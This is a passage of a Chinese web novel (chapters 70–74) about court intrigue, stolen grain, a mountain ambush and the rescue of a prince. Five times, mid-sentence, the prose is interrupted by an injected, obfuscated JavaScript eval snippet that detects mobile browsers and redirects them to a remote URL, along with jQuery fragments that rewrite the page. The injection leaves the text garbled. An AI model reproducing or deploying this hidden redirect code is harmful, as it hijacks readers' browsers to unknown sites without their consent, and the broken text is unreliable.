萧语柔安抚了一会儿,给珍珍拿了些吃食。见岑陌还在忙碌,便决定先带珍珍回叶府。 她们刚出府门,便被马都尉远远看到。 马都尉手中握着装有儿子平安锁的匣子,脸色阴沉如铁:"岑陌这是早有准备!"他咬牙切齿,目光阴鸷地盯着萧语柔远去的背影,"既然你屡次坏我好事,那就别怪我心狠手辣了。" 叶府内,秦氏正抱着珍珍失声痛哭。叶成江匆匆赶来,看到这一幕,悬着的心终于落地。 "爹爹……"珍珍朝他伸出小手。 叶成江再也顾不得什么仪态,上前将母女俩一同拥入怀中。 待平复心情,叶成江才问起珍珍是如何回来的。 "是明萝姐姐带我回来的。"珍珍怯生生地说。 叶成江闻言,心中感慨万千。一个十几岁的女子,竟有如此胆识。 此时的萧语柔,正站在老夫人面前。 "外祖母,这次是三皇子帮忙救出的珍珍。"她轻声说道。 老夫人叹息:"也罢。你既不想走,那就与外祖母一道留在叶府,可好?" 萧语柔点头应下,心中却暗自盘算。她知道,找出那批失踪的粮食才是当务之急。 西陲春寒,凛冽的风刮过荒凉的大地。城外,流民们蜷缩在墙根,紧紧挨在一起抵御寒意。官府虽设了粥棚,却远不敷庞大的流民所需。流云县外,越来越多的流民涌来,一路上哭声震天,死伤无数。 夜幕降临,昭文驸马柳华趁机从马都尉府溜了出来。 他迫不及待地奔向红街,那里灯火通明,莺莺燕燕倚窗招手。柳华满意地勾起嘴角,终于能放纵一回了。 "这位公子,要不要来喝一杯?"一名妙龄女子媚眼如丝地看着柳华。 柳华笑着走进花楼,一时间沉醉在声色犬马之中。酒过三巡,他摇摇晃晃地起身告辞。美人挽留不住,只得眼睁睁看着他踉跄着走出门去。 长长的巷子里,柳华醉醺醺地走着,丝毫没注意到身后的脚步声。 "驸马?"一声低唤在身后响起。 柳华猛地回头,还未看清来人,就被一个麻袋罩住了头。拳脚相加中,他的酒瞬间醒了大半。身下传来的湿意让他羞愧难当,却不敢吭声。 "只要你如实回答,我们就放你走。"一个刻意压低的声音在耳边响起。 柳华心下稍安,连忙应承:"好,你说。" "被劫的米粮在哪?"那人冷冷问道。 柳华心中一惊,支支吾吾地装傻充愣。换来的是一记重踢,疼得他眼前一黑,晕了过去。 再次醒来时,柳华发现自己被绑在凳子上,眼前一片漆黑。他试探着开口:"好汉?"话音未落,又是一阵剧痛袭来。 "想活命就老实交代。"那个冰冷的声音再次响起。 柳华浑身颤抖,哪里受得了这般折磨。他慌乱中感到手腕处一阵刺痛,随即有温热的液体滑落。滴答滴答的声响让他面如土色。 "你、你们放了我的血?"柳华声音颤抖,几乎要哭出来。 "说,米粮到底在哪?"那人又问。 柳华六神无主,支支吾吾道:"我、我真的不知道啊!是马都尉的人带走的,我哪里知道具体位置……" "看来你是不见棺材不掉泪。"说着,一抹冰凉贴上他的眼睛。 柳华彻底崩溃,哭喊着交代了一切:"不在沭阳,在外头西陲!西陲有座大山,他们带着粮食往山里去了。求求你们了好汉,放过我,我真的不知道更多了……" 萧语柔听罢,悄悄给他喂下一颗药丸。"这是蛊虫,你应该知道意味着什么。"她冷笑道。 柳华如坠冰窟。蛊虫可是要抄家灭族的大罪啊!他颤声问道:"你、你们是南王的人?" 萧语柔没有正面回答,只是警告他知道该说什么、不该说什么。柳华连连点头,生怕惹恼了这群亡命之徒。 不多时,绳索被解开。柳华却不敢轻举妄动,小心翼翼地问:"好汉,你们还在吗?" 四下寂静无声。柳华这才慢慢睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481825|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼睛,借着微弱的月光环顾四周。一尊青面獠牙的鬼神像骤然映入眼帘,吓得他跌倒在地。 定睛一看,原来是座破庙里的神像。柳华这才发现自己根本没有失血的伤痕,顿时又惊又怒。 "骗我!"他气急败坏,一脚踹向石墩。 "给你吃的蛊虫可是真的哦。"屋檐上突然传来戏谑的声音。柳华惊慌失措,再看时人影已消失在夜色中。 他跌坐在地,心中五味杂陈。 他忽然意识到,自己一直以来的荣华富贵,不过是镜花水月。在这乱世之中,没有实力的人,终究只是别人眼中的棋子。 柳华站起身,拍了拍身上的尘土,朝着都尉府的方向走去。 回到都尉府,柳华整理了一下仪容,深吸一口气,推开了马都尉的房门。 "驸马,你去哪里了?"马都尉皱眉问道。 柳华脑中飞速运转,编造着借口:"我……我夜里突感不适,出去寻了大夫。" 马都尉狐疑地打量着他:"是吗?那为何不先通知本官?" 柳华额头渗出冷汗,强作镇定道:"事发突然,下官怕惊扰大人休息……" 马都尉沉默片刻,似乎接受了这个解释。柳华暗自松了口气,却听马都尉又道:"既然如此,明日就随本官一同巡视粮仓吧。" 柳华心中一凛,连忙应下。走出房门,他靠在墙上,只觉得双腿发软。 柳华神色复杂地往城中走去,心中暗自咬牙。 "驸马这是怎么了?"马都尉皱眉问道,眼中闪过一丝不屑。 柳华看到马都尉眼中的轻蔑,勉强挤出一丝笑容,说道:"不小心醉酒,被人抢了钱财扔在这里。" 马都尉冷哼一声:"这个节骨眼上,驸马还是别乱跑为妙。万一出了事,可别怨下官。" 他叫人扶柳华上马,闻到他身上的气味后忍不住笑出声。柳华脸色铁青,一言不发。 暗处,萧瑾确认无虞后,让萧语柔藏好,独自向三皇子府疾驰而去。 林妈妈见萧瑾到来已见怪不怪,但听闻消息仍惊叹不已:"七小姐怎么有这么大的本事,连我们好不容易查到的消息她都知道了!" 萧瑾如实相告。 第七十章 放火 林妈妈目光凝重:"没想到还牵扯进了南王。" 岑陌脸色阴沉,温和地问道:"萧瑾,帮我个忙,我帮你查你仇人的下落,如何?" 萧瑾毫无防备地点头答应。 天将破晓,萧语柔见萧瑾带着点心回来,问道:"都说了?" "嗯。"萧瑾含糊其辞,塞了块点心在嘴里。 萧语柔追问:"三皇子可说什么了?" 萧瑾避开她的目光,匆匆道:"时候不早,我们回去吧。"说完,驾马飞快往澄江县去了。 次日中午,马都尉才得知岑陌的锦阳军进了玉岭。他脸色阴晴不定,终于一掌劈碎了桌子。 郑知县在一旁问道:"事已至此,大人可决定好是否要动手了?" 马都尉想到岑陌手中的儿子,又想到自己苦心布局,岂能甘心功亏一篑? "来人,按计划行事!"他厉声下令。 萧语柔睡到傍晚才醒,用过晚饭后派人打探青河县情况,却无人回报。她注意到陆妈妈和紫萱的异常,便支开紫萱,单独质问陆妈妈。 陆妈妈支支吾吾,终于道出实情:"今日午时,沭阳城已乱。暴民如疯似的撞开城门,见人就抢,还冲向三皇子的别院。" 萧语柔脸色沉重:"萧瑾在哪?" 陆妈妈小心翼翼地回答:"下午就不见了。要不请叶大人帮忙?" 萧语柔一言不发,直奔叶成江院子。还未进门,她就听到里面的对话。 "确定是三皇子的锦阳军,大肆**百姓,沭阳城内血流成河。" 叶成江不信岑陌会如此残暴。 "马都尉已带兵捉拿三皇子,逼得他躲入玉岭。" "荒唐!"叶成江怒道,"此时不安抚百姓,开仓放粮,竟不问真相就对三皇子下手。" 萧语柔听到这里,心如刀绞,转身离去。回到小院,她高声喊道:"萧瑾,你再不出现,以后就别出现了!" 就在这时,一个熟悉的身影从墙头跃下,正是萧瑾。 "小姐。"萧瑾低声说道,眼中带着歉意。 萧语柔松了口气,却又瞬间绷紧了神经:"情况如何?" 萧瑾简洁地汇报了沭阳城的乱象,以及岑陌被困玉岭的消息。"三皇子绝不会下令**百姓,这其中定有蹊跷。" 萧语柔点头,眼中闪过一丝决然:"我们必须尽快行动。" "小姐有何计划?"萧瑾问道,已做好听命的准备。 萧语柔深吸一口气,脑中思绪翻涌。她权衡着各种可能性,最终说道:"我们先去见舅舅,然后连夜赶往玉岭。" "好。"萧瑾点头,眼中流露出对主子的敬佩。 两人悄然离开小院,朝着叶成江的住处疾走。 "萧瑾,"萧语柔低声说,"无论发生什么,都不要暴露我们的行踪。" 萧瑾郑重点头:"姐姐放心,属下定当竭尽全力。" 两人很快来到叶成江的院子外。萧语柔深吸一口气,正准备推门而入,突然听到里面传来急促的脚步声。 "大人,不好了!"一个声音焦急地说,"玉岭方向传来消息,说是火光冲天,恐怕已经打起来了!" 叶成江的声音传来:"什么?快,立刻派人去查探!" 萧语柔和萧瑾对视一眼,都从对方眼中看到了惊骇之色。没有时间了,她们必须立刻动身。 萧语柔咬了咬牙,轻声对萧瑾说:"我们直接去玉岭。" 萧瑾点头,两人悄无声息地离开了叶成江的院子。 二人悄然登上小船,向玉岭驶去。夜色渐浓,河面上月光粼粼。萧瑾专注划船,时不时回头望向姐姐。萧语柔则一言不发,眼神坚定地注视前方。 突然,一阵风浪袭来。萧瑾慌忙稳住船身,险些将萧语柔甩入水中。 "小心!"萧语柔下意识抓住船舷,心跳骤然加速。 这一刻,她意识到自己的鲁莽。可转念一想,若岑陌有难,她又怎能坐视不理?想到此,萧语柔不由握紧了手中的玉璧。那微微的温热似乎给了她一丝力量。 终于,小船靠岸,二人踏上玉岭土地。山中树影婆娑,不时传来令人毛骨悚然的兽吼。萧瑾紧随姐姐身后,警惕地打量四周。萧语柔则凭着直觉,在复杂的山路中寻找方向。 忽听前方传来窸窣声响。萧瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481826|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立即拔出佩剑,挡在萧语柔身前。萧语柔则悄然握紧玉璧,随时准备施展医术。 树丛中窜出一只野兔,两人顿时松了口气。 "姐姐,我们还是快些走吧。"萧瑾小声提醒。 萧语柔点头,加快脚步。山路愈发崎岖,她的裙摆早已沾满泥土。但她毫不在意,心中只想尽快找到岑陌。 夜深露重,山中寒气渐浓。萧瑾见姐姐瑟瑟发抖,忙脱下外衣为她披上。萧语柔刚要推辞,却听不远处传来人声。 两人对视一眼,迅速躲在一棵大树后。 "快搜,三皇子肯定就在附近!"一个粗犷的声音喝道。 萧语柔心头一紧,看来马都尉的人已追至此处。她拉着萧瑾,蹑手蹑脚地往另一方向移动。 "姐姐,我们该往哪里走?"萧瑾低声询问。 萧语柔闭目,感受着玉璧传来的微弱温度。"这边。"她坚定地指向一个方向。 两人小心翼翼地穿行林间,躲避搜索的士兵。突然,萧语柔脚下一滑,整个人向前栽去。萧瑾眼疾手快,一把拉住了她。 但两人的动静还是惊动了附近的士兵。 "谁在那里?"一个警惕的声音响起。 萧语柔和萧瑾屏住呼吸,一动不动。脚步声越来越近,萧瑾的手已按在剑柄上。 就在这千钧一发之际,远处突然传来一声虎啸。士兵们顿时慌了神,四散奔逃。 萧语柔趁机拉着萧瑾,迅速离开原地。两人一口气跑出老远,才停下喘息。 "姐姐,你没事吧?"萧瑾担忧地问。 萧语柔摇头,忽然发现玉璧的温度变得更加明显。"我们快到了。"她低语道,眼中闪过一丝期待。 两人继续前行,很快来到一处陡峭山崖前。萧语柔四下打量,突然发现崖壁上有一道若隐若现的裂缝。她小心翼翼地靠近,发现那竟是一个隐蔽的洞口。 "姐姐,这里太危险了,我们还是别进去了吧?"萧瑾拉住她的衣袖,眼中满是担忧。 萧语柔坚定地摇头:"他就在里面。" 说罢,她深吸一口气,弯腰钻进了洞中。萧瑾无奈,只得跟上。 第七十一章 承诺 洞中漆黑一片,两人摸索着前进。忽然,前方亮起一点微光。萧语柔加快脚步,心跳如鼓。 转过一个弯,眼前豁然开朗。一个宽敞的山洞出现在眼前,火把将四周照得通明。而在洞中央,站着的正是他们苦苦寻找的人。 "岑陌!"萧语柔脱口而出。 岑陌转身,眼中闪过一丝惊讶和欣喜。"你们怎么来了?"他快步走上前,上下打量着两人。 萧语柔还未开口,岑陌已经脱下外衣披在她身上。"这山中寒气重,你们怎么这般不小心?"他语气严厉,眼中却满是关切。 萧语柔心中一暖,正要解释,却听到洞外传来一阵喧哗。 "是马都尉的人!"萧瑾惊呼。 岑陌神色一凛,迅速做出决断。"跟我来。"他拉起萧语柔的手,向洞的深处走去。 萧语柔任由他拉着,心中泛起一丝异样的感觉。她低头看向手腕上的玉璧,不知为何,它似乎在微微发烫。 "殿下,我们该往哪里走?"林妈妈的声音从暗处传来。 岑陌沉声道:"按原计划行事。你带人引开马都尉,我们从密道离开。" 林妈妈应声而去,转眼间洞中只剩下他们三人。 岑陌转向萧语柔,目光复杂:"你不该来的。" 萧语柔抬头迎上他的目光,轻声道:"我放心不下。" 岑陌眼中闪过一丝异色,正要开口,却听洞口传来一阵嘈杂。 "快走!"他拉着萧语柔,向洞内深处跑去。 萧瑾紧随其后,警惕地注视着四周。 三人穿过狭窄的甬道,来到一处暗河前。岑陌轻车熟路地解开岸边的小船,示意二人上船。 就在此时,身后传来一阵急促的脚步声。 "殿下,他们追上来了!"萧瑾惊呼。 岑陌眉头紧皱,快速思索对策。萧语柔看了看手中的玉璧,突然有了主意。 "我有办法。"她低声道。 不等岑陌回应,萧语柔已经转身面向洞口。她深吸一口气,将全部心神都集中在手中的玉璧上。 随着她的心念流转,玉璧开始发出柔和的光芒。那光芒渐渐扩散,笼罩了整个洞穴。 追兵冲到洞口,却被这突如其来的光芒刺得睁不开眼。 "快走!"萧语柔低喝一声。 岑陌一把将她拉上船,萧瑾用力一推,小船顺着暗河急流而下。 追兵回过神来时,三人已消失在黑暗中。 小船在暗河中飞速前行,岑陌紧紧抱着萧语柔,生怕她掉下去。萧语柔靠在他怀中,心跳如鼓,却不知是因为惊险还是别的什么。 良久,小船终于驶出山洞。 夜幕低垂,玉岭笼罩在一片静谧之中。岑陌站在简陋的木屋内,目光如炬。程甲匆匆赶来,汇报着他们的发现。 "殿下,里面有兵器库、粮食,还关着人。石门很重,我们还没找到机关。" 话音刚落,空气仿佛凝固了。众人屏息以待,不敢发出一丝声响。 岑陌微微后仰,嘴角挂着若有若无的笑意。然而,熟悉他的人都能察觉到那双眼睛里闪过的杀意。 "程甲。"他开口,声音低沉而冷静。 "在!" "令众人原地修整两个时辰。这里既有这么多武器,不能浪费。" 岑陌的目光扫过疲惫不堪的士兵们,心中已有盘算。萧语柔也注意到了众人憔悴的神色,不禁皱了皱眉。 她悄悄溜进小厨房,趁人不备从空间里拿出了近千个香喷喷的包子。热气腾腾,勾人食欲。 "呀,这里居然有吃的!"萧瑾故作惊讶,咬了一口包子。 林妈妈脸色大变,正欲阻止,萧瑾已三下五除二将包子吞入腹中。 众人屏息凝神,生怕有什么不测。程甲忍不住咽了口唾沫,小心翼翼地问:"小兄弟,有没有哪里不舒服?" "包子没毒。"萧语柔笑着走了出来,"我是大夫,你们忘了?" 程甲闻言,听着周围此起彼伏的吞咽声,绷直了身子看向岑陌:"三皇子,我们可否……" "既然无毒,吃吧。"岑陌淡淡地说,目光却始终没有离开萧语柔。 萧语柔能感受到岑陌探究的眼神,她知道是时候坦白了。"殿下,我有话跟你说。" 岑陌挥退众人,只留下他们二人在小屋里。萧语柔不再隐瞒,展示了她神奇的空间能力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481827|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岑陌神色凝重,眼中闪过惊讶和担忧。"此事,再不可与任何人说,明白吗!" "我知道,"萧语柔点头,"我只告诉了殿下一人。" 岑陌的表情稍稍缓和:"你放心,我会护你。"他郑重承诺,目光深邃如潭。 萧语柔从怀中掏出几株草药,递给岑陌。"这种草叫迷雾藤,易燃,燃烧后会散出毒雾。虽然毒不**,但能让接触的人眼睛暂时模糊半个时辰。" 萧语柔顿了顿,有些不好意思地补充道:"而且皮肤沾到此物燃烧后的灰尘,相当于非常非常强效的……"她看着岑陌直直望着自己的眼神,咳了一声,"**,不过时效只有半个时辰。" 门外的程甲听得面红耳赤,连忙带人**,恨不得钻进地缝里。 岑陌挑了挑眉,脑中已有了妙计。 半个时辰后,马都尉艰难地被人扶起。他环顾四周,看着那些明显人为挖凿的粗糙沟渠,脸色比夜色还要阴沉。 "给我往前冲,今儿非要弄死他们不可!"马都尉几乎是从牙缝里挤出这句话。 就在这时,一个士兵慌慌张张地跑来报信:"都尉,山里好像进人了!" "岑陌的人?"马都尉心中一惊。 "不像,穿得好像是边境的甲胄。" 马都尉闻言,稍稍松了口气,冷笑道:"想要领功的人,给我杀!" 他带领仅剩的人马冲进山谷,却发现四周空无一人。马都尉冷笑:"原来是发现下官的秘密了。三皇子,你可知里头机关密布,只要下官一出手,你们便要变成肉泥?" 话音刚落,只有山谷间呜呜的风声回应。 突然,一声惊呼划破夜空:"大人,又是大火!" 马都尉这才发现,滔天火焰已将他们团团围住。他怒不可遏,手中**几欲折断:"无耻小儿,无耻小儿,有本事与我当面一战!" 正当他准备启动机关同归于尽时,一道人影从火中窜出,与他缠斗在一起。刀光剑影中,马都尉渐渐落入下风。 最后关头,马都尉忽然放声大笑:"三皇子,下官知道你在。不过你如此与我作对,你日后一定会后悔的,尤其知道你真正的身世之后。" 第七十二章 别有洞天(一) 岑陌眉头微蹙,凝视着林间若隐若现的身影。墨王突然的出现,让局势变得陡然紧张起来。 “皇叔,没料到你会亲临现场。”岑陌的声音里带着一丝冷意。 树林中传来一声轻笑,墨王缓步走出,桃花眼中闪烁着危险的光芒。他优雅地拉开长弓,“只是一场小小的游戏罢了。” 话音未落,一支利箭破空而来,直指岑陌要害。萧瑾眼疾手快,长剑一挥,便将箭支击落在地。金属相撞的清脆响声在林间回荡。 墨王略显惊讶,“小小年纪就有这等身手,你是谁......” “我是你祖宗!”萧瑾怒喝一声,纵身朝林间杀去。他剑招凌厉,却始终难以突破墨王的防御。 厮杀声顿时四起,岑陌冷静下令:“林妈妈,快带语柔离开。” 萧语柔咬了咬唇,低声道:“嬷嬷,我们先去崖边山洞躲避。”她知道自己留下只会成为他的累赘。 林妈妈带着萧语柔飞身跃下悬崖,将她安置在山洞后又迅速返回战场。萧语柔独自面对满室珍宝,毫不犹豫地将其尽数收入空间。 突然,一声微弱的呼救从石门后传来。萧语柔警惕地握紧手中大刀,慢慢靠近石门。 “来人啊?救...救命......”男人的声音虚弱而嘶哑,仿佛随时会断气。 “你是谁?”萧语柔谨慎地问道,手心微微出汗。 门内的人似乎被惊到了:“你是...?” 萧语柔正要回答,手中大刀不经意间碰到某处,石门竟缓缓打开。眼前的景象令她胃里一阵翻涌。 二三十个铁笼排列其中,每个笼子里都关着一个人。蓬头垢面,衣衫褴褛,像砧板上的鱼肉。有的奄奄一息,有的则警惕地蜷缩在角落,眼中充满了恐惧和绝望。 萧语柔强忍着不适,平静地说:“马都尉已经**。” 铁笼中的人仿佛没听懂,只有一个男声激动地问:“真...真**?” “嗯。”萧语柔点头确认。 “那个畜生终于**!”男人发出嘶哑的笑声,笑着笑着却又哭了起来。 萧语柔环顾四周,看到了希冀的眼神,却无法给出承诺。“三皇子原本要来救你们的,但他现在还在与墨王纠缠。”她如实相告。 话音刚落,笼中人的目光瞬间黯淡下来。萧语柔心中一紧,却无能为力。她知道,即便是三皇子这样的人,面对墨王也并非易事。 就在这时,山洞外传来一阵急促的脚步声。萧语柔迅速躲到暗处,握紧了手中的大刀。她的心跳加速,不知来者是敌是友。 一个身影闪进洞中,萧语柔屏住呼吸,准备随时出手。 “语柔?你在这里吗?”是岑陌的声音。 萧语柔松了口气,从暗处走出:“我在这里。” 岑陌快步走来,眉宇间带着一丝疲惫。他的衣袍上沾着血迹,显然刚经历了一场恶战。“墨王暂时退去了,你没事吧?” “我没事,”萧语柔指了指身后的铁笼,“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481828|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里......” 岑陌这才注意到那些可怜的囚犯,眼中闪过一丝愤怒。“来人!”他高声喊道,“把他们都放出来!” 随着岑陌一声令下,士兵们迅速行动起来。铁笼被打开,囚犯们踉跄着走出,他们喜极而泣,竟不敢相信这是真的。 萧语柔看着这一幕,心中百感交集。她回想起自己在宫中的日子,虽不至如此凄惨,却也备受束缚。 此时,一个老妇人颤颤巍巍地走到岑陌面前,跪下磕头道:“多谢三皇子救命之恩!” 岑陌连忙扶起老妇人,“快起来,这里不是说话的地方。我们先离开这个鬼地方。” 萧语柔看着岑陌安排士兵护送囚犯离开,不由得对他刮目相看。这个平日里看起来冷硬的男人,此刻却流露出了难得的温和。 “多亏了你发现了这里。”岑陌走到萧语柔身边,轻声说道。 萧语柔摇摇头:“是他们的呼救声引我来的。” 岑陌沉默片刻,目光变得坚定:“我一定会查清萧这件事的来龙去脉。墨王的所作所为,绝不能就这么算了。” “咱们该怎么办?”萧语柔不安的问道。 岑陌深吸一口气,“先把这些人安置好,然后回京复命。父皇那边,恐怕也不好交代。” 萧语柔看着岑陌眉间的忧虑,有种想要安慰他的冲动。但她最终也只是轻轻说了句:“我相信你能处理好的。” 岑陌看了她一眼,嘴角微微上扬,“谢谢。” 第七十三章 别有洞天(二) 萧语柔退出密室,留下一室的沉寂。 而郑轩也觉的眼眶发酸,正欲吟诵几句抒怀,却忽然一愣:“嗯?这是何物,竟如此香?” 他趴在铁笼边缘,鼻子不住地嗅着。这滑稽模样惹得一人笑出声来:“蔡公子,莫非这铁笼里藏着什么稀罕物?” 郑轩置若罔闻,但依然仍自顾自地嗅着:“确实有些吃食的味道,绝非幻觉。” 石门缓缓打开,萧语柔走了进来。她瞥见郑轩那副模样,嘴角弯了弯道:“诸位可想吃些包子?三皇子方才令人做了不少。” 说着,她拖进一个大箱子。掀开盖子,装满了香喷喷的肉包,香气扑鼻而来。 密室内顿时沸腾起来。有人迫不及待地咬了一口,烫得直吸凉气,却又舍不得吐出来。萧语柔这才发现,众人都是如此狼吞虎咽,一直在狂造,又有压抑的啜泣声响起。 郑轩倒是看得开:“享受这最后一餐,吃到最后一口气。” “多谢姑娘。”斜对面笼子里,一位妇人向萧语柔道谢。那妇人虽身陷囹圄,却难掩凌厉气势。她身边三四岁的女儿更是让萧语柔感到莫名熟悉,却又想不起在哪见过。 笼中众人纷纷向萧语柔道谢,她却觉得受之有愧。以她的能力,实在无法救走这些人。 这些人中的绝大多数都是作为要挟的筹码被关押于此,也包括郑轩在内。 萧语柔这才得知,他竟是柳川知县郑宏那位本该"沉尸河底"的儿子。至于郑知县的转变,萧语柔并没有告诉郑轩。 而其余的人则是因为知晓了马都尉的秘密而被囚禁。萧语柔索性拿出纸笔,开始做笔录。因为包子的缘故,众人对她知无不言,言无不尽。 从白天干到天亮,又是一天过去,萧语柔依然未等到上面有人下来。她不禁皱起眉头,心中涌起一丝不安。给众人又留下一些包子和水后,她决定出去查看情况。 走出洞口,寒风凛冽,几乎要将人吹走。萧语柔打量着那细细的山道,思忖片刻,准备从空间里取出一捆绳子系在腰间,以防被风吹落山崖。 就在她准备取出绳子的一刹那,背后汗**倒竖。危险的直觉令她立即停下动作,猛地回身。 只一瞬间,她便被狠狠推下山崖。耳边风声呼啸,萧语柔只来得及瞥见一张金色面具和一只带着戏谑的桃花眼。 “阿萝!” 一声惊呼传来,萧语柔感到腰间一紧,随即被人揽住。她抬头,看到岑陌那张紧绷的脸。两人悬挂在崖边,岑陌单手扒住一块巨石,岌岌可危。 墨王立于悬崖之上,脸上写满了得意。他手持袖箭,对准岑陌,唇边挂着浅笑:“放我走,给你们个机会保命?” 岑陌冷冷地看着他:“我们本就无意杀你。” 墨王微笑:“我知道,你们不杀,自有人杀。这事儿黄了也罢。” 话音未落,暗器破空而出。岑陌抱着萧语柔在山崖间躲避,动作灵活得令人惊讶。萧语柔这才发现,他的腿还有救。 墨王早有准备,嘴角笑意更深。伴随着尖锐的鸟鸣,一对猛禽呼啸而至。 “不好,快把那飞鸟击落!”山崖上,一个老者中气十足地开口。 众人闻声而动,纷纷举起手中飞箭,却终究慢了一步。墨王一跃而下,一把抓住岑陌的腿往下拖,而后借力跳上苍鹰,转眼便消失在众人视线中。 “姐姐!”萧瑾想也没想,纵身一跃。 林妈妈也要跟随,背后突然被人制住。 “慕老将军,我家殿下他......” “你们煮饺子倒是一把好手?”慕老将军皱眉看了眼悬崖,“这峡谷里绿意盎然,三皇子和萧瑾武功卓绝,顶多断几根骨头不至于丧命。真正要担心的,是萧小友。” “那......那该如何是好?”谷柏握紧了染血的**,眼中满是焦急。 慕老将军沉声道:“让手下去谷底找找。墨王绝不会善罢甘休,据说二皇子已朝西陲进发。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481829|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天之内寻不见三皇子,他这趟西陲之行,这功劳怕是要被人摘桃子了。” 山洞中的寒气逼人,岑陌倚靠在石壁上,闭目调息。萧语柔凝视着他苍白的面容,眼底闪过一丝忧虑。 她犹豫片刻,轻轻掀开他的衣摆。映入眼帘的是被鲜血浸透的里裤,萧语柔心头一紧。小心翼翼地卷起裤脚,随即倒吸一口凉气——狰狞的伤口触目惊心,有些地方甚至露出了森森白骨。 岑陌察觉到她的动作,眼皮微微动了懂。“怕了?”他声音低沉自嘲道。 萧语柔抬头,眼中蓄满泪水,倔强地瞪着他。岑陌心头一软,随即哄道:“别哭,我没事。” 萧语柔哼了一声,转身去洞穴深处翻找医药用品。不一会儿,她捧着瓶瓶罐罐回来,还带了盛水的木盆和几条干净布巾。 “在生我的气?”岑陌试探着问道。 “没有。”萧语柔口是心非地回答,语气里满是怒意。她小心翼翼地清洗着岑陌的伤口,眼中的心疼怎么也掩饰不住。 岑陌望着她垂落的青丝,忍不住开口:“那年桐都之战,我杀敌无数,连百姓都对我心生畏惧。”萧语柔听出他话中的落寞,静静地听他继续说下去。 “最后我擒获了敌军首领,一个美艳动人的女子。她求我饶她一命,连阿清都为她求情。”岑陌苦笑着问:“你猜我怎么做的?” 不等萧语柔回答,他自顾自地说:“我当着所有人的面,斩下了她的头颅。她的一个爱慕者疯了般朝我射箭,要我跪下,但我没有。” 萧语柔想问那个爱慕者是不是阿清,但看着岑陌悲伤的眼神,她终究没有开口。 “从那时起,我就分不清对错了。”岑陌喃喃道,“阿萝,你说我该怎么办?” 话音未落,他已将萧语柔拥入怀中。岑陌就像只温顺的小兽,将头靠在她肩上蹭了蹭。萧语柔任由他靠着,感受着他渐渐平稳的呼吸。不多时,岑陌便睡着了,想必这一天一夜他也没能安眠。 第七十四章 别有洞天(三) 萧瑾捧着一把鲜红的骨碎补回来,兴奋地想要说话。萧语柔连忙做了个噤声的手势,示意岑陌已经睡着。她小心地将岑陌安置在铺好的棉被上,又仔细处理好伤口。 “骨碎补哪里找到的?”萧语柔轻声问道。 萧瑾指了指悬崖边:“就在那儿,不过不多了。” 萧语柔这才发现他们所处的位置如此险要,难怪这种珍稀药材市面上罕见。她回头看了眼熟睡的岑陌,心中有了主意。 岑陌的腿骨已碎,此刻正是治疗的最佳时机。萧语柔默默祈祷,希望能兑换到解毒的药丸。不多时,一枚黑色小药丸便出现在她手心,散发着淡淡药香。 萧语柔心中一喜,却又暗自叹息——为了这颗药丸,她付出了不少珍贵的金银珠宝。 “姐姐,你怎么了?”萧瑾关切地问道。 萧语柔苦笑着回答:“没事,只是心疼钱罢了。” 夜幕降临,山洞里升起了一锅热气腾腾的火锅。岑陌虽是病号,也喝上了一碗养胃的粥。萧瑾则是吃得最欢,大快朵颐。 饭后,萧语柔提出要为岑陌治腿的想法。 